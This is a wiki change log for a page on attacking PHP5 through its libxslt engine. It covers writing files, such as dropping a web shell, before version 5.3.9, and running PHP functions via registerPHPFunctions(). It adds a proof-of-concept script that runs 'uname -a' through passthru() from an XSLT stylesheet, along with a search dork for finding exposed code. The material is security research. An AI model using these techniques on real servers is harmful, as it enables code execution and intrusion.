Changes for page Application_PHP5

Summary

• Page properties (1 modified, 0 added, 0 removed)
• Attachments (0 modified, 1 added, 0 removed)
  • execute-code-via-libxslt.php

Details

Page properties

Content

...	...	@@ -1,16 +1,21 @@
1	1	Dixit [[Wikipedia>>http://en.wikipedia.org/wiki/PHP||rel="__blank"]] : "//PHP is a general-purpose server-side scripting language originally designed for web development to produce dynamic web pages. It is among one of the first developed server-side scripting languages that is embedded into a HTML source document, rather than calling an external file to process data. Ultimately, the code is interpreted by a web server with a PHP processor module which generates the resulting web page.//"
2	2
3	3
4		-
5	5	== Creating files ==
6	6
7		-Version 5 of the PHP language uses the [[libxslt>>Engine_libxslt]] engine to transform XML documents using XSLT. Prior to version 5.3.9, calls to libxslt were not restricted via xsltSetSecurityPrefs(). It was then possible to create or overwrite files on the engine side, typically for dropping a PHP Web Shell (cf [[Bug #54446>>https://bugs.php.net/bug.php?id=54446||rel="__blank"]]).
	6	+Version 5 of the PHP language uses the [[libxslt>>Engine_libxslt]] engine to transform XML documents using XSLT. Prior to version 5.3.9, calls to libxslt were not restricted via xsltSetSecurityPrefs(). It was then possible to create or overwrite files on the engine side, typically for dropping a PHP Web Shell. This vulnerability ([[Bug #54446>>https://bugs.php.net/bug.php?id=54446||rel="__blank"]]) was patched in version 5.3.9 ([[ChangeLog>>http://php.net/ChangeLog-5.php#5.3.9||rel="__blank"]]).
8	8
9	9
10		-The attached [[create-file-via-libxslt.php>>attach:create-file-via-libxslt.php]] PoC will drop a basic PHP script in /tmp/.
11	11
	10	+The attached [[create-file-via-libxslt.php>>attach:create-file-via-libxslt.php]] PoC will drop a basic PHP script in /tmp/.
	11	+
12	12	== Executing PHP code ==
13	13
14		-A call to [[registerPHPFunctions()>>http://php.net/manual/en/xsltprocessor.registerphpfunctions.php]] allows to execute standard PHP functions directly from the XSLT stylesheet.
	14	+A call to [[registerPHPFunctions()>>http://php.net/manual/en/xsltprocessor.registerphpfunctions.php]] allows to execute standard PHP functions directly from the XSLT stylesheet. I never came across this pattern in real-life engagements but Google Code search references [[several>>http://www.google.com/codesearch#search/&q=registerPHPFunctions%20lang:%5Ephp$&type=cs||rel="__blank"]] instances of it (dork: "registerPHPFunctions lang:^php$"). This isn't a bug and will not be patched.
15	15
16	16
	17	+|=Namespace |=Extension function |=PoC |=Note
	18	+| http:~/~/php.net/xsl| Any PHP function|[[execute-code-via-libxslt.php>>attach:execute-code-via-libxslt.php]]| A call to registerPHPFunctions() is needed
	19	+
	20	+
	21	+The attached [[execute-code-via-libxslt.php>>attach:execute-code-via-libxslt.php]] PoC will use the passthru() PHP function to execute "uname -a".

execute-code-via-libxslt.php

Author

...	...	@@ -1,0 +1,1 @@
	1	+xwiki:XWiki.NicolasGregoire

Size

...	...	@@ -1,0 +1,1 @@
	1	+653 bytes

Content

...	...	@@ -1,0 +1,36 @@
	1	+<?php
	2	+
	3	+$sXml = '<empty/>';
	4	+
	5	+$sXsl = <<<EOT
	6	+<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
	7	+ xmlns:php="http://php.net/xsl"
	8	+ version="1.0">
	9	+
	10	+ <xsl:template match="/">
	11	+ <xsl:value-of select="php:function('passthru', 'uname -a')"/>
	12	+ </xsl:template>
	13	+
	14	+</xsl:stylesheet>
	15	+EOT;
	16	+
	17	+# LOAD XML FILE
	18	+$XML = new DOMDocument();
	19	+$XML->loadXML( $sXml );
	20	+
	21	+# LOAD XSLT FILE
	22	+$XSL = new DOMDocument();
	23	+$XSL->loadXML( $sXsl );
	24	+
	25	+# START XSLT
	26	+$xslt = new XSLTProcessor();
	27	+$xslt->importStylesheet( $XSL );
	28	+
	29	+# Register PHP functions as XSLT extensions !
	30	+$xslt->registerPHPFunctions();
	31	+
	32	+# TRASNFORM & PRINT
	33	+print $xslt->transformToXML( $XML );
	34	+
	35	+?>
	36	+